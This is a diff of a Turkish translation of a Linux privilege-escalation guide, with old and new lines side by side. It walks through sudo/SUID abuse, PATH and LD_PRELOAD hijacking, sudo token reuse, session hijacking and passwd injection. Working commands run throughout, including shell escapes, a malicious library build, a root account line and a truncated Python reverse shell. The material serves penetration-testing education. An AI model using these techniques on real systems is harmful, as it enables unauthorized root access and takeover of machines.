çalarının sessize geçmesini sağlayabilir ve kullanıcı deneyimini artırabilir. Ayrıca, D-Bus, uygulamalar arasında hizmet taleplerini ve yöntem çağrılarını basitleştiren bir uzak nesne sistemi destekler ve geleneksel olarak karmaşık olan süreçleri kolaylaştırır.
D-Bus, mesaj izinlerini (yöntem çağrıları, sinyal yayımı vb.) toplu olarak eşleşen politika kurallarının etkisine göre yöneten bir **izin/verme modeli** üzerinde çalışır. Bu politikalar, otobüsle etkileşimleri belirler ve bu izinlerin istismar edilmesi yoluyla yetki yükseltmeye olanak tanıyabilir. D-Bus, mesaj izinlerini (yöntem çağrıları, sinyal yayma vb.) toplu olarak eşleşen politika kurallarının etkisine göre yöneten bir **izin/verme modeli** üzerinde çalışır. Bu politikalar, otobüsle etkileşimleri belirler ve bu izinlerin istismar edilmesi yoluyla yetki yükseltmeye olanak tanıyabilir.
`/etc/dbus-1/system.d/wpa_supplicant.conf` dosyasındaki böyle bir politikanın örneği, root kullanıcısının `fi.w1.wpa_supplicant1`'e sahip olma, mesaj gönderme ve alma izinlerini detaylandırmaktadır. `/etc/dbus-1/system.d/wpa_supplicant.conf` dosyasında, root kullanıcısının `fi.w1.wpa_supplicant1`'den mesaj alması, göndermesi ve sahip olması için izinleri detaylandıran bir politika örneği sağlanmıştır.
Belirtilmiş bir kullanıcı veya grup içermeyen politikalar evrensel olarak uygulanırken, "varsayılan" bağlam politikaları, diğer belirli politikalarla kapsanmayan tüm durumlara uygulanır. Belirtilmiş bir kullanıcı veya grup içermeyen politikalar evrensel olarak uygulanırken, "varsayılan" bağlam politikaları, diğer belirli politikalarla kapsanmayan tüm durumlara uygulanır.
```xml ```xml
@ -621,7 +621,7 @@ Erişim sağlamadan önce etkileşimde bulunamadığınız makinede çalışan a
``` ```
### Sniffing ### Sniffing
Trafiği dinleyip dinleyemeyeceğinizi kontrol edin. Eğer dinleyebiliyorsanız, bazı kimlik bilgilerini ele geçirebilirsiniz. Trafiği dinleyip dinleyemeyeceğinizi kontrol edin. Eğer dinleyebiliyorsanız, bazı kimlik bilgilerini yakalayabilirsiniz.
``` ```
timeout 1 tcpdump timeout 1 tcpdump
``` ```
@ -629,7 +629,7 @@ timeout 1 tcpdump
### Genel Sayım ### Genel Sayım
**Kim** olduğunuzu, hangi **yetkilere** sahip olduğunuzu, sistemlerde hangi **kullanıcıların** bulunduğunu, hangilerinin **giriş** yapabileceğini ve hangilerinin **root yetkilerine** sahip olduğunu kontrol edin: **Kim** olduğunuzu, hangi **yetkilere** sahip olduğunuzu, sistemlerde hangi **kullanıcıların** bulunduğunu, hangilerinin **giriş yapabileceğini** ve hangilerinin **root yetkilerine** sahip olduğunu kontrol edin:
```bash ```bash
#Info about me #Info about me
id || (whoami && groups) 2>/dev/null id || (whoami && groups) 2>/dev/null
@ -694,11 +694,11 @@ Eğer çok fazla gürültü yapmaktan rahatsız değilseniz ve `su` ile `timeout
### $PATH ### $PATH
Eğer **$PATH'in bazı klasörlerine yazabileceğinizi** bulursanız, **yazılabilir klasörde** farklı bir kullanıcı (ideali root) tarafından çalıştırılacak bir komutun adıyla bir arka kapı oluşturarak ayrıcalıkları artırma şansınız olabilir ve bu komut **yazılabilir klasörünüzden önceki** bir klasörden yüklenmiyor olmalıdır. Eğer **$PATH'in bazı klasörlerine yazma izniniz olduğunu** bulursanız, **yazılabilir klasörde** farklı bir kullanıcı (ideali root) tarafından çalıştırılacak bir komutun adıyla bir arka kapı oluşturarak ayrıcalıkları artırma şansınız olabilir ve bu komut **yazılabilir klasörünüzden önceki** bir klasörden yüklenmiyor olmalıdır.
### SUDO ve SUID ### SUDO ve SUID
Sudo kullanarak bazı komutları çalıştırmanıza izin verilebilir veya suid biti olabilir. Bunu kontrol etmek için: Bazı komutları sudo kullanarak çalıştırmanıza izin verilebilir veya suid biti olabilir. Bunu kontrol etmek için:
```bash ```bash
sudo -l #Check commands you can execute with sudo sudo -l #Check commands you can execute with sudo
find / -perm -4000 2>/dev/null #Find all SUID binaries find / -perm -4000 2>/dev/null #Find all SUID binaries
@ -720,7 +720,7 @@ $ sudo -l
User demo may run the following commands on crashlab: User demo may run the following commands on crashlab:
(root) NOPASSWD: /usr/bin/vim (root) NOPASSWD: /usr/bin/vim
``` ```
Bu örnekte `demo` kullanıcısı `vim`'i `root` olarak çalıştırabilir, artık kök dizinine bir ssh anahtarı ekleyerek veya `sh` çağırarak bir shell almak çok kolaydır. Bu örnekte `demo` kullanıcısı `vim`'i `root` olarak çalıştırabilir, artık bir ssh anahtarı ekleyerek veya `sh` çağırarak bir shell almak çok basit.
``` ```
sudo vim -c '!sh' sudo vim -c '!sh'
``` ```
@ -732,7 +732,7 @@ $ sudo -l
User waldo may run the following commands on admirer: User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh (ALL) SETENV: /opt/scripts/admin_tasks.sh
``` ```
Bu örnek, **HTB makinesi Admirer** üzerine **PYTHONPATH kaçırma** ile, script'i root olarak çalıştırırken rastgele bir python kütüphanesini yüklemeye **açık** idi: Bu örnek, **HTB makinesi Admirer** üzerine **PYTHONPATH kaçırma** ile bir python kütüphanesini yüklemek için kök olarak scripti çalıştırırken **açık** idi:
```bash ```bash
sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh
``` ```
@ -763,15 +763,15 @@ export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less" #Put your backdoor in /tmp and name it "less"
sudo less sudo less
``` ```
Bu teknik, bir **suid** ikili dosyası **yolu belirtmeden başka bir komut çalıştırıyorsa (her zaman garip bir SUID ikilisinin içeriğini kontrol etmek için** _**strings**_ **kullanın)**. Bu teknik, bir **suid** ikili dosyası **yolu belirtmeden başka bir komut çalıştırıyorsa (her zaman garip bir SUID ikilisinin içeriğini kontrol etmek için** _**strings**_ **kullanın)** durumunda da kullanılabilir.
[Çalıştırılacak yük örnekleri.](payloads-to-execute.md) [Çalıştırılacak yük örnekleri.](payloads-to-execute.md)
### Komut yolu ile SUID ikilisi ### Komut yolu ile SUID ikili dosyası
Eğer **suid** ikilisi **yolu belirterek başka bir komut çalıştırıyorsa**, o zaman, suid dosyasının çağırdığı komutla aynı adı taşıyan bir **fonksiyonu dışa aktarmayı** deneyebilirsiniz. Eğer **suid** ikili dosyası **yolu belirterek başka bir komut çalıştırıyorsa**, o zaman, suid dosyasının çağırdığı komutla aynı adı taşıyan bir **fonksiyonu dışa aktarmayı** deneyebilirsiniz.
Örneğin, eğer bir suid ikilisi _**/usr/sbin/service apache2 start**_ komutunu çağırıyorsa, fonksiyonu oluşturmayı ve dışa aktarmayı denemelisiniz: Örneğin, eğer bir suid ikili dosyası _**/usr/sbin/service apache2 start**_ komutunu çağırıyorsa, fonksiyonu oluşturmayı ve dışa aktarmayı denemelisiniz:
```bash ```bash
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service export -f /usr/sbin/service
@ -780,14 +780,14 @@ Sonra, suid ikili dosyasını çağırdığınızda, bu fonksiyon çalıştırı
### LD_PRELOAD & **LD_LIBRARY_PATH** ### LD_PRELOAD & **LD_LIBRARY_PATH**
**LD_PRELOAD** ortam değişkeni, yükleyici tarafından diğer tüm kütüphanelerden önce yüklenmesi gereken bir veya daha fazla paylaşımlı kütüphaneyi (.so dosyaları) belirtmek için kullanılır. Bu işlem, bir kütüphanenin ön yüklenmesi olarak bilinir. **LD_PRELOAD** ortam değişkeni, yükleyici tarafından diğer tüm kütüphanelerden önce yüklenmesi gereken bir veya daha fazla paylaşılan kütüphaneyi (.so dosyaları) belirtmek için kullanılır. Bu işlem, bir kütüphanenin ön yüklenmesi olarak bilinir.
Ancak, sistem güvenliğini korumak ve bu özelliğin kötüye kullanılmasını önlemek için, özellikle **suid/sgid** yürütülebilir dosyalarla ilgili olarak, sistem belirli koşulları zorunlu kılar: Ancak, sistem güvenliğini korumak ve bu özelliğin özellikle **suid/sgid** yürütülebilir dosyalarla istismar edilmesini önlemek için, sistem belirli koşulları zorunlu kılar:
- Yükleyici, gerçek kullanıcı kimliği (_ruid_) etkili kullanıcı kimliği (_euid_) ile eşleşmeyen yürütülebilir dosyalar için **LD_PRELOAD**'u dikkate almaz. - Yükleyici, gerçek kullanıcı kimliği (_ruid_) etkili kullanıcı kimliği (_euid_) ile eşleşmeyen yürütülebilir dosyalar için **LD_PRELOAD**'u dikkate almaz.
- Suid/sgid olan yürütülebilir dosyalar için yalnızca standart yollardaki ve aynı zamanda suid/sgid olan kütüphaneler ön yüklenir. - Suid/sgid olan yürütülebilir dosyalar için yalnızca standart yollardaki ve aynı zamanda suid/sgid olan kütüphaneler ön yüklenir.
Yetki yükseltmesi, `sudo` ile komutları çalıştırma yeteneğiniz varsa ve `sudo -l` çıktısı **env_keep+=LD_PRELOAD** ifadesini içeriyorsa gerçekleşebilir. Bu yapılandırma, **LD_PRELOAD** ortam değişkeninin kalıcı olmasını ve `sudo` ile komutlar çalıştırıldığında tanınmasını sağlar, bu da potansiyel olarak yükseltilmiş ayrıcalıklarla rastgele kodun çalıştırılmasına yol açabilir. Yetki yükseltme, `sudo` ile komutları çalıştırma yeteneğiniz varsa ve `sudo -l` çıktısı **env_keep+=LD_PRELOAD** ifadesini içeriyorsa gerçekleşebilir. Bu yapılandırma, **LD_PRELOAD** ortam değişkeninin kalıcı olmasını ve `sudo` ile komutlar çalıştırıldığında tanınmasını sağlar, bu da potansiyel olarak yükseltilmiş ayrıcalıklarla rastgele kodun çalıştırılmasına yol açabilir.
``` ```
Defaults env_keep += LD_PRELOAD Defaults env_keep += LD_PRELOAD
``` ```
@ -859,7 +859,7 @@ Yukarıdaki C dosyasını bir paylaşılan nesne (.so) dosyasına derlemek için
```bash ```bash
gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c
``` ```
Sonunda, etkilenen SUID ikili dosyasını çalıştırmak, potansiyel sistem tehlikesine yol açacak şekilde istismarı tetiklemelidir. Sonunda, etkilenen SUID ikili dosyasını çalıştırmak, potansiyel sistem ihlali için istismarı tetikleyecektir.
## Paylaşılan Nesne Kaçırma ## Paylaşılan Nesne Kaçırma
```bash ```bash
@ -934,7 +934,7 @@ bash exploit.sh
/tmp/activate_sudo_token /tmp/activate_sudo_token
sudo su sudo su
``` ```
- **İkinci istismar** (`exploit_v2.sh`), _/tmp_ içinde **setuid ile root'a ait bir sh shell** oluşturacaktır. - **İkinci istismar** (`exploit_v2.sh`), _/tmp_ içinde **setuid ile root'a ait** bir sh shell oluşturacaktır.
```bash ```bash
bash exploit_v2.sh bash exploit_v2.sh
/tmp/sh -p /tmp/sh -p
@ -946,8 +946,8 @@ sudo su
``` ```
### /var/run/sudo/ts/\<Kullanıcı Adı> ### /var/run/sudo/ts/\<Kullanıcı Adı>
Eğer klasörde veya klasör içindeki herhangi bir oluşturulmuş dosyada **yazma izinleriniz** varsa, bir kullanıcı ve PID için **sudo token** oluşturmak üzere [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) ikili dosyasını kullanabilirsiniz.\ Eğer klasörde veya klasör içindeki oluşturulan dosyalardan herhangi birinde **yazma izinleriniz** varsa, bir kullanıcı ve PID için **sudo token** oluşturmak üzere [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) ikili dosyasını kullanabilirsiniz.\
Örneğin, eğer _/var/run/sudo/ts/sampleuser_ dosyasını üzerine yazabiliyorsanız ve o kullanıcı olarak PID 1234 ile bir shell'e sahipseniz, şifreyi bilmeden **sudo ayrıcalıkları** elde edebilirsiniz: Örneğin, _/var/run/sudo/ts/sampleuser_ dosyasını üzerine yazabiliyorsanız ve o kullanıcı olarak PID 1234 ile bir shell'e sahipseniz, şifreyi bilmeden **sudo ayrıcalıkları** elde edebilirsiniz:
```bash ```bash
./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser
``` ```
@ -979,7 +979,7 @@ permit nopass demo as root cmd vim
``` ```
### Sudo Hijacking ### Sudo Hijacking
Eğer bir **kullanıcının genellikle bir makineye bağlandığını ve `sudo` kullanarak yetkileri artırdığını** biliyorsanız ve o kullanıcı bağlamında bir shell elde ettiyseniz, **kendi kodunuzu root olarak çalıştıracak yeni bir sudo yürütülebilir dosya oluşturabilirsiniz** ve ardından kullanıcının komutunu çalıştırabilirsiniz. Sonra, **kullanıcı bağlamının $PATH'ini değiştirin** (örneğin, .bash_profile'a yeni yolu ekleyerek) böylece kullanıcı sudo'yu çalıştırdığında, sizin sudo yürütülebilir dosyanız çalıştırılır. Eğer bir **kullanıcının genellikle bir makineye bağlandığını ve `sudo` kullanarak yetkileri artırdığını** biliyorsanız ve o kullanıcı bağlamında bir shell elde ettiyseniz, **kendi kodunuzu root olarak çalıştıracak yeni bir sudo yürütülebilir dosya** oluşturabilirsiniz ve ardından kullanıcının komutunu çalıştırabilirsiniz. Sonra, **kullanıcı bağlamının $PATH'ini** değiştirin (örneğin, .bash_profile'a yeni yolu ekleyerek) böylece kullanıcı sudo'yu çalıştırdığında, sizin sudo yürütülebilir dosyanız çalıştırılır.
Kullanıcının farklı bir shell (bash değil) kullanması durumunda, yeni yolu eklemek için diğer dosyaları da değiştirmeniz gerekecektir. Örneğin, [sudo-piggyback](https://github.com/APTy/sudo-piggyback) `~/.bashrc`, `~/.zshrc`, `~/.bash_profile` dosyalarını değiştirir. Başka bir örneği [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) içinde bulabilirsiniz. Kullanıcının farklı bir shell (bash değil) kullanması durumunda, yeni yolu eklemek için diğer dosyaları da değiştirmeniz gerekecektir. Örneğin, [sudo-piggyback](https://github.com/APTy/sudo-piggyback) `~/.bashrc`, `~/.zshrc`, `~/.bash_profile` dosyalarını değiştirir. Başka bir örneği [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) içinde bulabilirsiniz.
@ -1006,7 +1006,7 @@ Dosya `/etc/ld.so.conf`, **yüklenen yapılandırma dosyalarının nereden geldi
Bu, `/etc/ld.so.conf.d/*.conf` içindeki yapılandırma dosyalarının okunacağı anlamına gelir. Bu yapılandırma dosyaları, **kütüphanelerin** **arama** yapılacağı **diğer klasörlere** işaret eder. Örneğin, `/etc/ld.so.conf.d/libc.conf` dosyasının içeriği `/usr/local/lib`'dır. **Bu, sistemin `/usr/local/lib` içinde kütüphaneleri arayacağı anlamına gelir.** Bu, `/etc/ld.so.conf.d/*.conf` içindeki yapılandırma dosyalarının okunacağı anlamına gelir. Bu yapılandırma dosyaları, **kütüphanelerin** **arama** yapılacağı **diğer klasörlere** işaret eder. Örneğin, `/etc/ld.so.conf.d/libc.conf` dosyasının içeriği `/usr/local/lib`'dır. **Bu, sistemin `/usr/local/lib` içinde kütüphaneleri arayacağı anlamına gelir.**
Eğer bir nedenle **bir kullanıcının yazma izinleri** belirtilen yollardan herhangi birinde varsa: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, `/etc/ld.so.conf.d/` içindeki herhangi bir dosya veya `/etc/ld.so.conf.d/*.conf` içindeki yapılandırma dosyası içindeki herhangi bir klasör, yetki yükseltme gerçekleştirebilir.\ Eğer bir nedenle **bir kullanıcının yazma izinleri** belirtilen yollardan herhangi birinde varsa: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, `/etc/ld.so.conf.d/` içindeki herhangi bir dosya veya `/etc/ld.so.conf.d/*.conf` içindeki yapılandırma dosyası içindeki herhangi bir klasör, yetkileri yükseltebilir.\
Aşağıdaki sayfada **bu yanlış yapılandırmayı nasıl istismar edeceğinize** bir göz atın: Aşağıdaki sayfada **bu yanlış yapılandırmayı nasıl istismar edeceğinize** bir göz atın:
{{#ref}} {{#ref}}
@ -1033,7 +1033,7 @@ linux-gate.so.1 => (0x005b0000)
libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x00737000) /lib/ld-linux.so.2 (0x00737000)
``` ```
Sonra `/var/tmp`inde `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` ile kötü bir kütüphane oluşturun. Ardından `/var/tmp` dizininde `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` komutunu kullanarak kötü niyetli bir kütüphane oluşturun.
```c ```c
#include<stdlib.h> #include<stdlib.h>
#define SHELL "/bin/sh" #define SHELL "/bin/sh"
@ -1048,8 +1048,8 @@ execve(file,argv,0);
``` ```
## Yetenekler ## Yetenekler
Linux yetenekleri, bir işleme **mevcut root ayrıcalıklarının bir alt kümesini** sağlar. Bu, root **ayrıcalıklarını daha küçük ve belirgin birimlere** ayırır. Bu birimlerin her biri, işlemlere bağımsız olarak verilebilir. Bu şekilde, ayrıcalıkların tam seti azaltılır ve istismar riskleri düşer.\ Linux yetenekleri, bir **işleme mevcut root ayrıcalıklarının bir alt kümesini** sağlar. Bu, root **ayrıcalıklarını daha küçük ve belirgin birimlere** ayırır. Bu birimlerin her biri, işlemlere bağımsız olarak verilebilir. Bu şekilde, ayrıcalıkların tam seti azaltılır ve istismar riskleri düşer.\
Daha fazla bilgi için **yetenekler hakkında daha fazla bilgi edinmek ve bunları nasıl kötüye kullanacağınızı öğrenmek için** aşağıdaki sayfayı okuyun: Daha fazla bilgi için **yetenekler ve bunların nasıl kötüye kullanılacağı hakkında** aşağıdaki sayfayı okuyun:
{{#ref}} {{#ref}}
linux-capabilities.md linux-capabilities.md
@ -1057,8 +1057,8 @@ linux-capabilities.md
## Dizin izinleri ## Dizin izinleri
Bir dizinde, **"çalıştır"** biti, etkilenen kullanıcının klasöre "**cd**" yapabileceğini belirtir.\ Bir dizinde, **"çalıştır"** biti, etkilenen kullanıcının **dizine "cd"** yapabileceğini belirtir.\
**"okuma"** biti, kullanıcının **dosyaları listeleyebileceğini**, **"yazma"** biti ise kullanıcının **dosyaları silip** **yeni dosyalar oluşturabileceğini** belirtir. **"okuma"** biti, kullanıcının **dosyaları listeleyebileceğini**, **"yazma"** biti ise kullanıcının **dosyaları silip** **yeni dosyalar** **oluşturabileceğini** belirtir.
## ACL'ler ## ACL'ler
@ -1097,7 +1097,7 @@ screen -x [user]/[session id]
``` ```
## tmux oturumlarının ele geçirilmesi ## tmux oturumlarının ele geçirilmesi
Bu, **eski tmux sürümleriyle** ilgili bir sorundu. Bir yetkisiz kullanıcı olarak root tarafından oluşturulan bir tmux (v2.1) oturumunu ele geçiremedim. Bu, **eski tmux sürümleriyle** ilgili bir sorundu. Bir ayrıcalıksız kullanıcı olarak root tarafından oluşturulan bir tmux (v2.1) oturumunu ele geçiremedim.
**tmux oturumlarını listele** **tmux oturumlarını listele**
```bash ```bash
@ -1143,7 +1143,7 @@ Root'un ssh kullanarak giriş yapıp yapamayacağını belirtir, varsayılan `no
### AuthorizedKeysFile ### AuthorizedKeysFile
Kullanıcı kimlik doğrulaması için kullanılabilecek genel anahtarları içeren dosyaları belirtir. `%h` gibi token'lar içerebilir, bu da ev dizini ile değiştirilir. **Kesin yolları belirtebilirsiniz** ( `/` ile başlayan) veya **kullanıcının evinden göreli yollar** belirtebilirsiniz. Örneğin: Kullanıcı kimlik doğrulaması için kullanılabilecek genel anahtarları içeren dosyaları belirtir. `%h` gibi token'lar içerebilir, bu da ev dizini ile değiştirilir. **Kesin yolları belirtebilirsiniz** ( `/` ile başlayan) veya **kullanıcının evinden göreli yolları** belirtebilirsiniz. Örneğin:
```bash ```bash
AuthorizedKeysFile .ssh/authorized_keys access AuthorizedKeysFile .ssh/authorized_keys access
``` ```
@ -1151,7 +1151,7 @@ Bu yapılandırma, "**testusername**" kullanıcısının **özel** anahtarıyla
### ForwardAgent/AllowAgentForwarding ### ForwardAgent/AllowAgentForwarding
SSH ajan yönlendirmesi, **şifre olmadan** anahtarların sunucunuzda kalması yerine **yerel SSH anahtarlarınızı kullanmanıza** olanak tanır. Böylece, ssh ile **bir ana bilgisayara** **atlayabilir** ve oradan **başka bir** ana bilgisayara **atlayabilirsiniz** **ilk ana bilgisayarınızdaki** **anahtarı** kullanarak. SSH ajan yönlendirmesi, **şifreli olmayan** anahtarların sunucunuzda kalması yerine **yerel SSH anahtarlarınızı kullanmanıza** olanak tanır. Böylece, ssh ile **bir ana bilgisayara** **atlayabilir** ve oradan **başka bir** ana bilgisayara **atlayabilirsiniz** **ilk ana bilgisayarınızdaki** **anahtarı** kullanarak.
Bu seçeneği `$HOME/.ssh.config` dosyasında şu şekilde ayarlamanız gerekir: Bu seçeneği `$HOME/.ssh.config` dosyasında şu şekilde ayarlamanız gerekir:
``` ```
@ -1163,7 +1163,7 @@ Dikkat edin ki, eğer `Host` `*` ise, kullanıcı farklı bir makineye geçtiği
Dosya `/etc/ssh_config` bu **seçenekleri** **geçersiz kılabilir** ve bu yapılandırmayı izin verebilir veya reddedebilir.\ Dosya `/etc/ssh_config` bu **seçenekleri** **geçersiz kılabilir** ve bu yapılandırmayı izin verebilir veya reddedebilir.\
Dosya `/etc/sshd_config` `AllowAgentForwarding` anahtar kelimesi ile ssh-agent yönlendirmesine **izin verebilir** veya **reddedebilir** (varsayılan izin ver). Dosya `/etc/sshd_config` `AllowAgentForwarding` anahtar kelimesi ile ssh-agent yönlendirmesine **izin verebilir** veya **reddedebilir** (varsayılan izin ver).
Eğer Forward Agent'ın bir ortamda yapılandırıldığını bulursanız, **yetkileri artırmak için bunu kötüye kullanabileceğinizden** dolayı aşağıdaki sayfayı okuyun: Eğer bir ortamda Forward Agent'ın yapılandırıldığını bulursanız, **yetkileri artırmak için bunu kötüye kullanabileceğinizden** aşağıdaki sayfayı okuyun:
{{#ref}} {{#ref}}
ssh-forward-agent-exploitation.md ssh-forward-agent-exploitation.md
@ -1181,7 +1181,7 @@ Eğer herhangi bir garip profil betiği bulunursa, **hassas detaylar** için kon
### Passwd/Shadow Dosyaları ### Passwd/Shadow Dosyaları
İşletim sistemine bağlı olarak, `/etc/passwd` ve `/etc/shadow` dosyaları farklı bir isim kullanıyor olabilir veya bir yedeği olabilir. Bu nedenle, **hepsini bulmanız** ve dosyaların içinde **hash'lerin** olup olmadığını görmek için **okuyup okuyamayacağınızı kontrol etmeniz** önerilir: İşletim sistemine bağlı olarak, `/etc/passwd` ve `/etc/shadow` dosyaları farklı bir isim kullanıyor olabilir veya bir yedeği olabilir. Bu nedenle, **hepsini bulmanız** ve **okuyup okuyamayacağınızı kontrol etmeniz** önerilir; dosyaların içinde **hash'ler** olup olmadığını görmek için:
```bash ```bash
#Passwd equivalent files #Passwd equivalent files
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
@ -1206,7 +1206,7 @@ hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
``` ```
E.g: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` E.g: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash`
Artık `hacker:hacker` ile `su` komutunu kullanabilirsiniz. Artık `su` komutunu `hacker:hacker` ile kullanabilirsiniz.
Alternatif olarak, şifre olmadan sahte bir kullanıcı eklemek için aşağıdaki satırları kullanabilirsiniz.\ Alternatif olarak, şifre olmadan sahte bir kullanıcı eklemek için aşağıdaki satırları kullanabilirsiniz.\
UYARI: mevcut makinenin güvenliğini azaltabilirsiniz. UYARI: mevcut makinenin güvenliğini azaltabilirsiniz.
@ -1287,7 +1287,7 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam
### Bilinen şifre içeren dosyalar ### Bilinen şifre içeren dosyalar
[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) kodunu okuyun, **şifre içerebilecek birkaç olası dosyayı** arar.\ [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) kodunu okuyun, **şifre içerebilecek birkaç olası dosyayı** arar.\
**Bunu yapmak için kullanabileceğiniz başka ilginç bir araç**: [**LaZagne**](https://github.com/AlessandroZ/LaZagne), Windows, Linux ve Mac için yerel bir bilgisayarda saklanan birçok şifreyi almak için kullanılan açık kaynaklı bir uygulamadır. **Bunu yapmak için kullanabileceğiniz başka bir ilginç araç**: [**LaZagne**](https://github.com/AlessandroZ/LaZagne), Windows, Linux ve Mac için yerel bir bilgisayarda saklanan birçok şifreyi almak için kullanılan açık kaynaklı bir uygulamadır.
### Loglar ### Loglar
@ -1313,7 +1313,7 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
### Genel Kimlik Bilgileri Arama/Regex ### Genel Kimlik Bilgileri Arama/Regex
Ayrıca, **adında** veya **içeriğinde** "**password**" kelimesini içeren dosyaları kontrol etmeli ve günlüklerde IP'ler ve e-postalar ile hash regex'lerini de kontrol etmelisiniz.\ Ayrıca, **adında** veya **içeriğinde** "**password**" kelimesini içeren dosyaları kontrol etmeli ve günlüklerde IP'ler ve e-postalar ile hash regex'lerini de kontrol etmelisiniz.\
Bunların nasıl yapılacağını burada listelemeyeceğim ama ilgileniyorsanız, [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) tarafından gerçekleştirilen son kontrolleri kontrol edebilirsiniz. Bunların nasıl yapılacağını burada listelemeyeceğim ama ilgileniyorsanız, [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) tarafından yapılan son kontrolleri kontrol edebilirsiniz.
## Yazılabilir dosyalar ## Yazılabilir dosyalar
@ -1327,26 +1327,26 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s
``` ```
### Logrotate istismarı ### Logrotate istismarı
`logrotate`'deki bir güvenlik açığı, bir günlük dosyası veya onun üst dizinlerinde **yazma izinlerine** sahip kullanıcıların potansiyel olarak yükseltilmiş ayrıcalıklar kazanmasına olanak tanır. Bunun nedeni, genellikle **root** olarak çalışan `logrotate`'in, özellikle _**/etc/bash_completion.d/**_ gibi dizinlerde rastgele dosyaları çalıştıracak şekilde manipüle edilebilmesidir. Günlük döngüsünün uygulandığı _/var/log_ dışında, herhangi bir dizinde de izinleri kontrol etmek önemlidir. `logrotate`'deki bir güvenlik açığı, bir günlük dosyası veya onun üst dizinlerinde **yazma izinlerine** sahip kullanıcıların potansiyel olarak yükseltilmiş ayrıcalıklar kazanmasına olanak tanır. Bunun nedeni, genellikle **root** olarak çalışan `logrotate`'in, özellikle _**/etc/bash_completion.d/**_ gibi dizinlerde rastgele dosyaları çalıştıracak şekilde manipüle edilebilmesidir. Günlük döngüsünün uygulandığı _/var/log_ dizininde değil, aynı zamanda diğer dizinlerde de izinleri kontrol etmek önemlidir.
> [!NOTE] > [!TIP]
> Bu güvenlik açığı `logrotate` sürüm `3.18.0` ve daha eski sürümleri etkilemektedir. > Bu güvenlik açığı `logrotate` sürüm `3.18.0` ve daha eski sürümleri etkilemektedir.
Güvenlik açığı hakkında daha ayrıntılı bilgi bu sayfada bulunabilir: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). Güvenlik açığı hakkında daha ayrıntılı bilgi bu sayfada bulunabilir: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition).
Bu güvenlik açığını [**logrotten**](https://github.com/whotwagner/logrotten) ile istismar edebilirsiniz. Bu güvenlik açığını [**logrotten**](https://github.com/whotwagner/logrotten) ile istismar edebilirsiniz.
Bu güvenlik açığı, [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx günlükleri)** ile çok benzerlik göstermektedir, bu nedenle günlükleri değiştirebildiğinizi bulduğunuzda, bu günlükleri yöneten kişiyi kontrol edin ve günlükleri simlinkler ile değiştirerek ayrıcalıkları yükseltip yükseltemeyeceğinizi kontrol edin. Bu güvenlik açığı, [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx günlükleri)** ile çok benzerlik göstermektedir, bu nedenle günlükleri değiştirebildiğinizi bulduğunuzda, bu günlükleri yöneten kişiyi kontrol edin ve günlükleri simlinklerle değiştirerek ayrıcalıkları yükseltip yükseltemeyeceğinizi kontrol edin.
### /etc/sysconfig/network-scripts/ (Centos/Redhat) ### /etc/sysconfig/network-scripts/ (Centos/Redhat)
**Güvenlik açığı referansı:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) **Güvenlik açığı referansı:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
